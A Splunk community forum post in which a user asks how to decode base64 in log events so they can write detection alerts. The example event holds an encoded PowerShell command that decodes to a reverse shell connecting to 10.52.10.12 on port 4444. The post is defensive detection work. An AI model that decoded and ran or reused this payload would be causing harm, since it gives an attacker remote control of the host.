Archive2

Decode base64 data from events

frazvan
New Member

Hello, everyone,

Hope to find an answer here.

I am having some events with some base64 encoded data within them. I would like to write a rule which will decode the base64 command, in order to create a more complex alerting rule, based on the content of that base64 command.

Below is an example (Only a small part, the encoded part of the event):

Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc ZgB1AG4AYwB0AGkAbwBuACAAQwBsAGUAYQBuAFUAcAAgAHsACgAJAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsACgAJAAkAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkACgAJAH0ACgAKAAkAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEMAbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKAAkACQAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAAoACQB9AAoACgAJAGUAeABpAHQACgB9AAoACgAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0AAoAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAKAAnADEAMAAuADUAMgAuADEAMAAuADEAMgAnACwAIAA0ADQANAA0ACkACgAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBuAGUAIAAkAHQAcgB1AGUAKQAgAHsACgAJAEMAbABlAGEAbgBVAHAACgB9AAoACgAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAKACQAYgB1AGYAZgBlAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQgB5AHQA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BxACAAJABzAHQAcgBpAG4AZwApACAAewAKAAkACQAJAAkACQAJACQAbwB1AHQAcAB1AHQAIAA9ACAAJwAnAAoACQAJAAkACQAJAH0ACgAJAAkACQAJAH0ACgAKAAkACQAJAAkAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAZQBuAGMAbwBkAGkAbgBnAC4ARwBlAHQAQgB5AHQAZQBzACgAJABvAHUAdABwAHUAdAApACwAIAAwACwAIAAkAG8AdQB0AHAAdQB0AC4ATABlAG4AZwB0AGgAKQA7AAoACQAJAAkACQAkAG8AdQB0AHAAdQB0ACAAPQAgACQAbgB1AGwAbAAKAAkACQAJAAkAJABzAHQAcgBpAG4AZwAgAD0AIAAkAG4AdQBsAGwACgAJAAkACQB9AAoACQAJAH0AIABlAGwAcwBlACAAewAKAAkACQAJAEMAbABlAGEAbgBVAHAACgAJAAkAfQAKAAkAfQAKAH0ACgA=

I would like to have a rule which will decode the encoded data in order to create the final alerting rule.

I am curious, how you can accomplish that?

Many thanks in advance!

0 Karma
Reply
.conf21 CFS Extended through 5/20!

Don't miss your chance
to share your Splunk
wisdom in-person or
virtually at .conf21!

Call for Speakers has
been extended through
Thursday, 5/20!